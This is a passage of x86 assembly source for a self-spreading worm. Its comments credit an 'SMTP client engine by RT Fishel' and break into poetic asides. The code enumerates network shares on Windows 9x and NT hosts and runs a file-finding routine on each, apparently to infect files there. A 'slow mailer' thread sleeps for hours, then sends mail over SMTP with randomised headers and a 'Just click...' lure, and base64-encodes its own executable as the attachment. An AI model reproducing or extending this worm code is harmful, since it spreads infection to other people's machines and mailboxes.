jecxz ip_restore push ecx ;GlobalFree push edx mov eax, esp push edx push esp push eax push esi push ecx push 1 push ebx mov esi, ecx call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h] pop ecx pop ecx mov al, '\' stos byte ptr [edi] ip_next9x label near push ecx push edi movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs byte ptr [edi], byte ptr [esi] ;attach sharename pop edi push ebx call cSetCurrentDirectoryA xchg ecx, eax jecxz ip_skip9x ;I dream of rain, I live my years under an open sky call find_files ip_skip9x label near add esi, size share_info_19x - share_info_19x.shi1_pad1 pop ecx loop ip_next9x ip_free9x label near call cGlobalFree ip_restore label near leave pop ebx inc bl jne ip_save push 120 * 60 * 1000 ;2 hours call cSleep jmp find_ip ip_sharent label near ;----------------------------------------------------------------------------- ;enumerate shares on IP address (NT/2000/XP platform) ;----------------------------------------------------------------------------- push eax mov eax, esp push eax mov ecx, esp push ebx push esp push eax push MAX_PREFERRED_LENGTH push ecx push 1 push edi call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch] test eax, eax pop esi pop ebx push esi ;NetApiBufferFree jne ip_freent ip_nextnt label near push esi lods dword ptr [esi] push eax xchg esi, eax xor eax, eax ;lstrlenW call store_krnapi lea eax, dword ptr [eax + eax + 26h] ;include size of Unicode '\\' + Unicode IP address + Unicode '\' push eax push GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz ip_freent push ecx ;GlobalFree push ecx ;SetCurrentDirectoryW push esi ;lstrcatW push ecx ;lstrcatW push '\' push esp ;lstrcatW push ecx ;lstrcatW push edi push ecx push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi ;copy IP address call clstrcatW ;attach '\' pop eax call clstrcatW ;attach sharename push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi xchg esi, eax call cGlobalFree test esi, esi je ip_skipnt ;when you look into the abyss, the abyss looks back at you call find_files ip_skipnt label near pop esi add esi, size share_info_1nt dec ebx jne ip_nextnt ip_freent label near call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4] jmp ip_restore find_ip endp create_thr3 label near push esi push esi call cCreateThread ;----------------------------------------------------------------------------- ;thread 4: send email to last mailto: address found. slow mailer ;----------------------------------------------------------------------------- push "23" push "_2sw" push esp call cLoadLibraryA pop ecx pop ecx test eax, eax jne found_ws2 push "23k" push "cosw" push esp call cLoadLibraryA pop ecx pop ecx found_ws2 label near call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ws2crcbegin label near ;place < 80h bytes from call for smaller code dd (ws2crc_count + 1) dup (0) ws2crcend label near dd offset wsock_init - offset ws2crcend + 4 wsock_init label near mov ebx, esp enter (size WSADATA + 3) and -4, 0 push esp push 1 call dword ptr [ebx + ws2crcstk.wWSAStartup] leave pop eax pop dword ptr ds:[offset store_send - offset junkhtml_inf + expsize + 401001h] push PF_NS push SOCK_STREAM push AF_INET call eax mov dword ptr ds:[offset store_socket - offset junkhtml_inf + expsize + 401001h], eax xchg ebp, eax send_email label near push 240 * 60 * 1000 ;4 hours call cSleep mov ebx, esp push ebp push 10000h ;message buffer push GMEM_FIXED call cGlobalAlloc push eax ;GlobalFree xchg edi, eax mov esi, offset email_block - offset junkhtml_inf + expsize + 401000h push ebx push ebp call decompmain ;smtp1 ("HELO ") pop ebp pop ebx push esi mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h find_smtp label near lods byte ptr [esi] cmp al, '@' je store_smtp or al, 5 cmp al, "'" jne find_smtp pop eax branch_skip label near jmp skip_send store_smtp label near mov ecx, edi mov eax, "ptms" stos dword ptr [edi] mov al, '.' stos byte ptr [edi] copy_smtp label near lods byte ptr [esi] stos byte ptr [edi] or al, 5 sub al, "'" jne copy_smtp pop esi dec edi mov byte ptr [edi], al push ecx call dword ptr [ebx - 8 + ws2crcstk.wgethostbyname] xchg ecx, eax jecxz branch_skip ;----------------------------------------------------------------------------- ;create and initialise sockaddr_in structure ;----------------------------------------------------------------------------- push 0 push 0 push dword ptr [ecx + hostent.h_addr_list] push (1900h shl 10h) + AF_INET mov eax, esp push size sockaddr_in push eax push ebp call dword ptr [ebx - 8 + ws2crcstk.wconnect] add esp, size sockaddr_in call store_crlf call senddata ;----------------------------------------------------------------------------- ;SMTP client engine by RT Fishel ;polymorphic headers (random comment insertion) ;----------------------------------------------------------------------------- call decompmain ;smtp2 ("MAIL FROM:<>") call senddata call decompmain ;smtp3 ("RCPT TO:") push esi mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h copy_recip label near lods byte ptr [esi] stos byte ptr [edi] or al, 5 cmp al, "'" jne copy_recip pop esi dec edi call store_crlf call senddata call decompmain ;smtp4 ("DATA") call senddata call decompmain ;header1 ("From: ") call randword call decompmain ;header2 ("Subject: ...") call decompmime ;header31 ("MIME-Version:") call decomptype ;part11 ("Content-Type:") call decompcomcr ;part12 ("multipart/mixed;") call decompcomnt ;part13 (" boundary=") push edi call randword ;boundary call store_crlf mov eax, edi pop ecx push ecx ;boundary pointer sub eax, ecx sub eax, 4 push eax ;boundary length call randlines pop eax pop ecx push ecx push eax call bound_copy ;boundary dec edi dec edi mov eax, (0a0dh shl 10h) + '--' stos dword ptr [edi] ;end of message ;) stos word ptr [edi] pop eax pop ecx push ecx push eax call bound_copy ;--boundary call decompmain ;body1 ("Just click...") mov eax, ('--' shl 10h) + 0a0dh stos dword ptr [edi] pop eax pop ecx push ecx push eax call bound_copy push esi call decomptype ;content-type pop esi call decompcomcr ;part21 ("text/plain;") call decompcomnt ;part22 (" name=email.htm") call decompcmap ;part23 ("Content-Transfer-Encoding:") call decompcomnt ;part24 ("quoted-printable") call decompcmap ;part25 ("Content-Disposition:") push offset part26 - offset part25 - 4 pop ebp call decompcomcr ;part26 ("attachment") push edi push esi call decompmime ;header31 ("MIME-Version:") pop esi call decompcmap ;part27 ("Content-Location:") push esi patch_encode label near mov esi, 'RTF!' call decompcmap ;content-encoding pop esi call decompcomcr ;part28 ("base64") call store_crlf push esi push ebp ;CreateFileA push ebp ;CreateFileA push OPEN_EXISTING ;CreateFileA push ebp ;CreateFileA push FILE_SHARE_READ ;CreateFileA push GENERIC_READ ;CreateFileA push edi ;CreateFileA push 7fh push edi push ebp push (krncrcstk.kGetModuleFileNameA - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi push (krncrcstk.kCreateFileA - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi push ebp push eax xchg ebx, eax push (krncrcstk.kGetFileSize - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi push eax xchg ebp, eax push GMEM_ZEROINIT call cGlobalAlloc push eax ;GlobalFree push ebx ;CloseHandle push eax push esp push ebp push eax push ebx xchg esi, eax push (krncrcstk.kReadFile - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi call cCloseHandle call b64encode call cGlobalFree pop esi call decompmain ;part31 ("